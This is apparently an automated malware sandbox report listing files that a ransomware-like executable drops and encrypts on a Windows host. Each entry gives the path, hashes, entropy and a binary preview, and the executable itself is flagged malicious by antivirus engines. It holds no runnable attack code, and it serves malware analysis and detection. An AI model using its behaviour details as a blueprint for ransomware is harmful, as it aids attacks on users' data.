Preview:	..} ...3..Mz.h....@.-eP....F.\.....}.8.._....s.......{~..).5(z;...6...t....Y0..=.....S.9...........o.%:e.....h......NE....wn.........k....D%..{..q..?.5...{R..I.....+?=.."wp..>.......?..}Ry...]n=..\....g..!}...]....S.2v.J........T(9.r.S.rX.=....KZ.....TL.K...1m[.....6..[..-...E.8.._;n...v%..a......f..O:...c&......R...~.Y...".\v.+....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	619
Entropy (8bit):	7.61364734379761
Encrypted:	false
SSDEEP:	12:kQJ2ydVROLm9WBXpIQE2oFpKnu/hKd3BqF2n3sr46lsTKWem36Wcii9a:BJ2S0V5WFpz/hCIFwK3leKWp3zbD
MD5:	EF279B40782D4CD7309D0E741BC1110F
SHA1:	6606B229E08FA6A14A3EC196B98E0F56171AA060
SHA-256:	CA312A5D0F0C5A53DE4DCD3809C5039F843F97B6F8356CAF5E1C87FC2254B30F
SHA-512:	2BD82DD5D01F4D3964A72F47DAB28659313A14B294B5A41D64B5FA29ED6BBCC404B3026FF98FD76061D10FC12236D4FB944009E554885DBD63243C09457694BE
Malicious:	false
Preview:	2023/...6]....".....O...Q.?XN%A..5...j...Z..=\|.u............O.&?...8...\|...........C...MI^#iL.,p.keRK....Oi^..k.[a...f+U...[o....Kx.l.`p.....E..G1PT ...!..0J.d+.v...je.D.......A..ZV....^........%..83...aXE`..O.@..U......yZ*.....o[.I+4^@.h8...TI..J...D.'.Vm......,m..g....`BJ..8....1.<.....a..^..(.....Ki.2D0.=/...qH.9)f.g.R.'......D....[P....$......M.....u..:+..(@,."$..uf{2.__.L5~1.3..R...,....G6D...BA....}f........5..~.....[p.&v...R.D.....y.R.p#...5.!@/.....Ssb.....%....q3r.p"$...I.LYV..9.w.N'..^....>....)i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	619
Entropy (8bit):	7.61364734379761
Encrypted:	false
SSDEEP:	12:kQJ2ydVROLm9WBXpIQE2oFpKnu/hKd3BqF2n3sr46lsTKWem36Wcii9a:BJ2S0V5WFpz/hCIFwK3leKWp3zbD
MD5:	EF279B40782D4CD7309D0E741BC1110F
SHA1:	6606B229E08FA6A14A3EC196B98E0F56171AA060
SHA-256:	CA312A5D0F0C5A53DE4DCD3809C5039F843F97B6F8356CAF5E1C87FC2254B30F
SHA-512:	2BD82DD5D01F4D3964A72F47DAB28659313A14B294B5A41D64B5FA29ED6BBCC404B3026FF98FD76061D10FC12236D4FB944009E554885DBD63243C09457694BE
Malicious:	false
Preview:	2023/...6]....".....O...Q.?XN%A..5...j...Z..=\|.u............O.&?...8...\|...........C...MI^#iL.,p.keRK....Oi^..k.[a...f+U...[o....Kx.l.`p.....E..G1PT ...!..0J.d+.v...je.D.......A..ZV....^........%..83...aXE`..O.@..U......yZ*.....o[.I+4^@.h8...TI..J...D.'.Vm......,m..g....`BJ..8....1.<.....a..^..(.....Ki.2D0.=/...qH.9)f.g.R.'......D....[P....$......M.....u..:+..(@,."$..uf{2.__.L5~1.3..R...,....G6D...BA....}f........5..~.....[p.&v...R.D.....y.R.p#...5.!@/.....Ssb.....%....q3r.p"$...I.LYV..9.w.N'..^....>....)i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.521349495180238
Encrypted:	false
SSDEEP:	12:GajNN+n4R4qfeMNc6eY4K+nWRZDPJSs1rq7y9fsMVidh8n36Wcii9a:GSc4ik3yY42RZlVU7y9fbI8n3zbD
MD5:	AFDC8320C45902CDE5219E44EE594867
SHA1:	0F87FB999052CDA599881C95655259D5C24BD1C6
SHA-256:	C2DD82B7776718E48919ED4F01AA412FFABFE7F5355923813BD6A9DC36AA0809
SHA-512:	AD98897415BF66064022CED42A1500AD462FE3C82719A8396E5BD862CDE441F5DB57613CB1C847C44BF19125752171F08FA014A4F416474A426CEDDFCB06E2AA
Malicious:	false
Preview:	.h.6.B...'......A......(.A.S.(..<5_yp.MZE.u..#..s7Q..w....&....FZ...]...".c.E......qR.u?._.e.^ .....+.~.`pD..HH.61..b.BUHI..t.......c7....;..Q.vL..\.aO.c{w`cA...v.....1.\...M@.!.Z.......v.3#......n.UG...D...M/.-..>..].(.j`K..F).o.\|.f8...Z.._.&.K.@t=j.....D....Wi..W..._T.W..b.m.........!{...u..)we-..`4N'.)...6nio..6..} ..U;B.......X.5...[..d.!........r..6....)'Gv3c..J..+I....f.......xQ.i.E[dix..2i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.521349495180238
Encrypted:	false
SSDEEP:	12:GajNN+n4R4qfeMNc6eY4K+nWRZDPJSs1rq7y9fsMVidh8n36Wcii9a:GSc4ik3yY42RZlVU7y9fbI8n3zbD
MD5:	AFDC8320C45902CDE5219E44EE594867
SHA1:	0F87FB999052CDA599881C95655259D5C24BD1C6
SHA-256:	C2DD82B7776718E48919ED4F01AA412FFABFE7F5355923813BD6A9DC36AA0809
SHA-512:	AD98897415BF66064022CED42A1500AD462FE3C82719A8396E5BD862CDE441F5DB57613CB1C847C44BF19125752171F08FA014A4F416474A426CEDDFCB06E2AA
Malicious:	false
Preview:	.h.6.B...'......A......(.A.S.(..<5_yp.MZE.u..#..s7Q..w....&....FZ...]...".c.E......qR.u?._.e.^ .....+.~.`pD..HH.61..b.BUHI..t.......c7....;..Q.vL..\.aO.c{w`cA...v.....1.\...M@.!.Z.......v.3#......n.UG...D...M/.-..>..].(.j`K..F).o.\|.f8...Z.._.&.K.@t=j.....D....Wi..W..._T.W..b.m.........!{...u..)we-..`4N'.)...6nio..6..} ..U;B.......X.5...[..d.!........r..6....)'Gv3c..J..+I....f.......xQ.i.E[dix..2i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	modified
Size (bytes):	637
Entropy (8bit):	7.59425153800084
Encrypted:	false
SSDEEP:	12:kSJI77wNxZd4DkP4J/bbWxdT77AEwk26XgmZD8/hVQlzFkxc36Wcii9a:G7wvZWDkGnAhwDAgm18/hViGxc3zbD
MD5:	1D051CAAB2D32ACCEB8D96B0FFCE1317
SHA1:	F225BD34D1B8F1B2FF46EC37D3B64A89770487ED
SHA-256:	C44EC088E9BB78B9D493886894AE2B104204D2F4A993102D2E6A5A514A67DF7A
SHA-512:	056ECF5B742DC851ED761044A6D9B4B777458AA0585483E201D9B96D9CA7B0336AE0230AE8DAC440F411DB1C55DA66207EE6348A329312CD9194257745B42C38
Malicious:	false
Preview:	2023/.=.L4..{.8..I....v.U.....Zw.W.&.3y.rR1W....6:wm.n}c.K0.....S..#{-..?.....9..m...,+..sI.a.e....~2h...E;G.$..-.G.s{....p.v..CM.-..,F.Hd3.........].q.x....n....n..`..?..nP.X{.;...Q..@........Kn..B...d$.....Z~..a.W ....J>.s....]`j0AJ.A.R.l.<G..T....H. .?aN..[S...>.Y.~L"..+K..F......u^.2.R\.K..&...J..abY.x.M...s....5.+..\|a.V..bg...K.......NS...M...Cn..?.(.F....a.A.3.y6.....H..D..... .E.+3b...^h...T..s.p...`..z.YR.*J-."....R.7....O.1.Lv....-!8..J(.U..@........c\|...4nx.,\N.....-7.....F..0.,....nq.....l.A.+....G...'.JV.B...Y.s.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	637
Entropy (8bit):	7.59425153800084
Encrypted:	false
SSDEEP:	12:kSJI77wNxZd4DkP4J/bbWxdT77AEwk26XgmZD8/hVQlzFkxc36Wcii9a:G7wvZWDkGnAhwDAgm18/hViGxc3zbD
MD5:	1D051CAAB2D32ACCEB8D96B0FFCE1317
SHA1:	F225BD34D1B8F1B2FF46EC37D3B64A89770487ED
SHA-256:	C44EC088E9BB78B9D493886894AE2B104204D2F4A993102D2E6A5A514A67DF7A
SHA-512:	056ECF5B742DC851ED761044A6D9B4B777458AA0585483E201D9B96D9CA7B0336AE0230AE8DAC440F411DB1C55DA66207EE6348A329312CD9194257745B42C38
Malicious:	false
Preview:	2023/.=.L4..{.8..I....v.U.....Zw.W.&.3y.rR1W....6:wm.n}c.K0.....S..#{-..?.....9..m...,+..sI.a.e....~2h...E;G.$..-.G.s{....p.v..CM.-..,F.Hd3.........].q.x....n....n..`..?..nP.X{.;...Q..@........Kn..B...d$.....Z~..a.W ....J>.s....]`j0AJ.A.R.l.<G..T....H. .?aN..[S...>.Y.~L"..+K..F......u^.2.R\.K..&...J..abY.x.M...s....5.+..\|a.V..bg...K.......NS...M...Cn..?.(.F....a.A.3.y6.....H..D..... .E.+3b...^h...T..s.p...`..z.YR.*J-."....R.7....O.1.Lv....-!8..J(.U..@........c\|...4nx.,\N.....-7.....F..0.,....nq.....l.A.+....G...'.JV.B...Y.s.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.208228860326137
Encrypted:	false
SSDEEP:	6:KWM2B58X9BcfF4WamHJN+ha5VQ4hmN7HB7unYCWfFBY576ERHZFDy0Xk4OsVolWL:NMXX9qfF4WtHJE94h8bOYtY5uETFDy0Z
MD5:	9D25191AEDF1B450C108BE4320AE3686
SHA1:	AF111DE60BD7F1B6CFDB44123B29E3ABEB511D74
SHA-256:	0C51DC94BD63595CE9A742488F6D06BF1FCF0B3F5F7851A0C5E3741061E8BDE9
SHA-512:	816A134B7415C990168AF23E8935614672E69056194263DFCFAF97A31899103493BFD2886EBC633D57F2C8E8EBA46A2122D64962A1CCBC3A938ABCB7DB3510C2
Malicious:	false
Preview:	insec...#.$s.b...Zt.rw..I.%..X.F.........$.%.d...4...........q.!.p....>.....c.<.....F.<..]7......Y.V9.... .lD.Q]..\|.o70.V.u$S..L.}..<w1._.!..0...i"...by.\|$...!H.z~8......9.2....E2.oX.k%CsL}.a....g......=...TX..d......b*M+oXq f2.4=P.....G.XR...hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	793088
Entropy (8bit):	7.2183261390345965
Encrypted:	false
SSDEEP:	12288:r/at8TRzWQs9YC3VSZyw3cZY+0SOjwlXLzHYUKTOsh:rit8TRzYz3VSZ0ZE1MlbzHYBOs
MD5:	801A00A6C89DCB9B7839A53ECCFC8FC1
SHA1:	EB9EE227CA410890E51D954DE4B63E1CCA69F0AD
SHA-256:	202259937DF72D3E7E341CE852A48938616E0D98A091D976F5342BF82E132CE3
SHA-512:	C2A329B139BD110E2550DCD63BA496F9B55196B259A33241067812A00CA6860EAF6023ED90FA02B9EC76212B660DCAB135CDDFEF6DD49EA05421D897764DF4C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+...+...+...5.r.1...5.c.:...5.u.`....,......+...R...5.\|....5.b....5.g.*...Rich+...........................PE..L...".t_.................b...................0....@..........................P...............................................&..(....... 6..........................................................X%..@...............D............................text...d........ .................. ..`.data........0...\|...$..............@....rsrc... 6.......8..................@..@.c".u...P.......B.................. ...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	5197
Entropy (8bit):	7.959449434896307
Encrypted:	false
SSDEEP:	96:C2Ol4psfnkxH0F1o3ZfL92TnKBmVco8xBBLQXc+kYthetJAuemyN:CksfkxtfL92jKBmWVyKWhevAuh4
MD5:	E2168FA2E85D3C82FA32507704A68A1D
SHA1:	948EEC5228ACA4BF6B54229144746ED5E945440A
SHA-256:	18C0E9D45CFBAD4005C2406730CD8713BD84067FD9B0A4162A90ADC67334586C
SHA-512:	AC404B3CCB92CE9598B80C9E266751784F3C2223AB51A94428659538FC043B14DB7B4F5F644E3DCF43D147083DB805800EBD2E754C6EE909852F77000DE2B02D
Malicious:	false
Preview:	.{.:Sp.E6=.6..c..[.....V...c.....I%U.s1..,.).e@51.....{~....@...~.....V.Fs..-..p........'.3...%...@.A..I.?.6.O.IxC.....E{..G5..&.3.\|...f..H.R..L..X.....pu.I..\|L.%{....k.g...U....YN..../...E,M.\|K......>.<..'=.V@.-Bo)..Q..#iL.V....=..j.M@{R.tQ...j1e..K.lP.\.@....T..!3.E.L._&..q..U..nNu..n_.}#.dJ[..-.'..U.)..`..+....d2.5!FI$.s=?..S..P~..?y..5...aWg.......o..6.........&hgZ...<c8.#..nM..B..@J...LU..AS.U.^J..v\|Ty=.dlk.%....]."..._..`#.\....__m....^U...MW.......fk.R.y../.D.y!.U.p.f.;..s.z/..A..Z...<.+......f..%........3(zO.....p[,...U...4.D:.....Q.Qk.w.?..+.Py..3d...l..C.q.p..\|-.gX...:C.....&...4..7...H......x.\|.....K@o...W.7^t....h..>.;...o{.iH.4.....#5#...{u..>.0.TS....Q...t.#o..l...E..n..P.BObn<.x....K%.....b.s.Jn...!..x.,.....%...U.....+..Z.,..)G.. f..t..gK.x...W..T.&.S...).5.pP.yj.Q"......,>.y.....'..o.U....-:..].c#....h.B.\.t..5....r.*O..+..xO....c...../....k.(.....1.@<....h...u.A>..8...!...H..v.c.x.Iss:z...4A..2.^.....w?.@K1.i.uH..p

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	7.801430415448894
Encrypted:	false
SSDEEP:	24:A2nhn9CpanFB53+F1SyF0fdo8GOahBywzlY/FI3Kkd3zbD:N7FL3+1S40fd5GHhPYtI7d3nD
MD5:	C5E8385FF61CC616E0CA49E23DB00270
SHA1:	2D200965DCCFE9BBE926F2D88907498C761D4B6E
SHA-256:	969317E62AAEB668CC329A0FC8CF7748BC6AC97F3AE4AF88ACBDF23C4C0C2E6C
SHA-512:	0BB79A9E45368753064F75C58C5D051D1C590DC011C177C4E9C172709BCA4AC0B6A7C480839C1A318C23CC817D13F2E06186F8474A0B4EACE69B2115D0FB4420
Malicious:	false
Preview:	....C.S.....q*\.d=..C......@.`;...Ce..a....-4....$.g..5...i&..:....i6L\|n..,../.....O..+IW..2^!..!...>.ve..>.R..?6T....7.K.......by..VM.#.. ....-.x..C./...[..o[g.P.....Q).rq.@CV...A..J.;.~..dIm...[......y.d..o..."...?...5..+....XV.......iF).7..@S../@.dQ........`....D.t:b........5X..W..#=....<.O....E....p.P.l>fSY..gas..b..T...}35F.U...TR...$.6..1@.`.....r....u.......~.Zr...Z.AUF.....;...a.<r.[.....eP..L.....i.....m0K..kI. 5L.l%Z..JhyM.,..+RcO.JBSW...p....t.[.j....t.I.@!.S.=f..e.l^I.%..{7..n.....(.u&>.J../..7K.....k.....o..(x1!?..)Lh....l........_`M..y..(L.....F..nA...c.t....G,kY1...[q....=V@..'...,...P.......;v..\..I'......?..+....-3.Bq`. .oT_.7.7..d.{....6@.o.~...L~L.v..fH...zQ.,.<HAjP..<....h..!.x^......%.".....tA^...(....~.Yj...9...O.WF..M'U........@.....v........W..N....xg ..jR.(LN..t.CG.....C..%Q.).i...~.g~._...k.&k..5.......Xy....M.R.\.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	7.829228693624953
Encrypted:	false
SSDEEP:	24:zrx3HL9JFygWPCGcCm8wPL46yZDpfqBBPwnIN6Og46b0VH+phs+VniIGgQkpESvK:p3HLBWpcHTdIFSbPoHDiIdTvWq+GAuQx
MD5:	181C6AD45790F8ED05207D023C9E7B79
SHA1:	B97353B0EA367E83FC3F903B376ACF5484166112
SHA-256:	FB962708F4F5AF5B937EE51FF069BE5B150556700E5CB105EE895305445B40F8
SHA-512:	AC32C6EBFB2CEAFFBF8D3302856C56BAC40E2769BE1601DCE5E82322935629A3C8B01102A78551A9342E1AFBE88146A16EDF6F4612C5D98F00040D76943BEB72
Malicious:	false
Preview:	.{....k.U......P&..[O.....bf.A[....qK.......I.lyaU......s.V_....W.t.BU.)W...q...v..."=0.....q\|WY..z. ..=s.V."S...-}.....a.......a..Q....5SN.w.K.27.`@.-j..q,..e...f.UeY..=n>._..@]l...a.HZ....UZxUBJ.....;.q....J...<AA.:.O.{......L/.F..z.wN..Q.;Q.p..8]-.{..V,........">D.....0L<.PX.....0,Y.....f..0.`L.\|K..9..swK/.rlq.EC.1e....(\|.....tF..u...P.?C...K.0D)...3...>i.w.s.....Lb.Y.I.2.KM]x}.~r.0..l.s..E.i;...Vf.s....)5WV.H0T....9..(UN.:CS..Y..?....O..f.d..'...c.........^.......fr.p/.4...(..ae#.....&.6.-....x..<.r....>Hl......\J!xj..A......sr<e.d.......g.c....%...,..".oL......\ng.5f.J.>..a/....T@..'....a...Q..<l....eIf...G2...Cg.....O..)S.p.......X.(.E.R.....1..d...049.....i......@..D<.$g...}PN.VZ.].........{d..-.rI.[......U.\$,.....iKLTN..Y..m...ll;........{..P?Q.k.....B-.6.G......x.^s..<..+#AD.@d.w.oH...g.\.".+:....S.a....\|X......*%..A...j..Z.g.j.!.^...H....y...H....Y....e.V..A.5..c......A..?P.;.........Z:.......r."{..m%nh.l....g.G.\...

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.363852470049662
Encrypted:	false
SSDEEP:	12:iDd7TZjDYlXkBHGedCNkHd8PCrEs936Wcii9a:iDtTAoGSTws93zbD
MD5:	5106E2136BA121E61769400D67597D3F
SHA1:	D8E1B4EF4A78B887992279C42DA23286DE409F19
SHA-256:	DFA72479C7E7227265554D413EAF928C1D0ECF1D1B3D40527A97D940C59D07CF
SHA-512:	96FB53BB4EF60414094E60D926C7489CDBC9FAFAD72185B4112B8F9E62876DA35E5CB96F74D07D12115A3F3550B8CC8F05E4F1D684B27FF3986BE6CDEE4AB9DB
Malicious:	false
Preview:	.{.&w...lB.4..6.d.x....B248.?.....C..KE<l..#<:.x5.(....W[.Tf...=.-.Jk..d.?.&B.,=q.A..hD]..R...^...Q...oX..V3. ....P.S........r..kf..g.lR.=..*...;:2.].Mw.>m.N.L..........t7T...o.3..^..J.......dRW.A$#...sO...XJ...I!n.(:d.Y.4.o.2..v..k...A..;(J.1".".s.\|.......xn..I.?._..{GK.5......?.%....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	11043
Entropy (8bit):	7.979838563619773
Encrypted:	false
SSDEEP:	192:EdYgGLDJHjGS5qVMF/TckwnLO6b3NdlvOwmAstwDTDSLx/iqglOb:QN8DxjGScMF/T8LOsdlqCDP2x/iT8b
MD5:	F4A507A5B283BD08F6EF46633DAFABD4
SHA1:	84C2E10DEEDCF37D9726A57653C14A9B13C3B7FD
SHA-256:	F11F3FDFBA9D6F30C3BC08CED979E40AA0C99ABCA9B365BCAD435D3814A7F9A8
SHA-512:	67C09F44845E253D83C535C9549C5254032C08A160E0A55D1F195372F1D326BD5EABF27DBEE304D3C14A609BBC13008294D686CB69DA8A45D3BA6FF2EB3EB378
Malicious:	false
Preview:	H...W..'....?......b..[.....1w..............+Um.S..K...W..v...JuN._1Y.Z'E.......C[....K.[.N..m.:n..P$..(.i..bO... ..g...As...9.............B..mAIz.a..C.ae.......R.3.&..x..._.&..I.zav..Z.}w..^.k`u.o.z..`1EW)H@v .{..KQG..2....^....:G.H~K.B:._w..y0F.$..^.E......d..../.&..kNl...#....d.......5] .#..K\|........Y>H.d..[......-.d?[.C.H..3...I..tq}.......3JK=.K...U..e\=..DK(.T0>...F-W]Ib.g..@.vk.zg.J.O...)ne.........^.i...E.....nf.y.`..9..MhJ]..........iD..K...W./crb,B.3...Z...W.b..t\..Q..9Mz7u....V.@c...hb..v..@.-[$#..yQ...Cu..e..sx.q0l..f.H._..........p..a....\|....#.........Qu...........*..${1L.)3$.DQZ.;8.C..;.........rRI.f}...W..<....{.d.d..h.{.d.KE}6.o.Q..J .@.\.04.<U29...R..^.\c0...=.$...Se..0..".tA....0....Y7S...$.>c.U...]E.....f..=...:D.....i.5._E.NR...5JW...0q/.$<..6F...S.....`..l.R.).%.. .4..g..7...4g[..\....U\d...RoQ.....r....q....e..ee.G...388.b.1zIy.d._..Ay.........[.6z..B..W.......pTl...&.v.n9"p..n...?..;0.3\...qNO..B._.tP...jSi..,..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k1[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k1[2].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k2[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k2[2].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k3[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k3[2].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
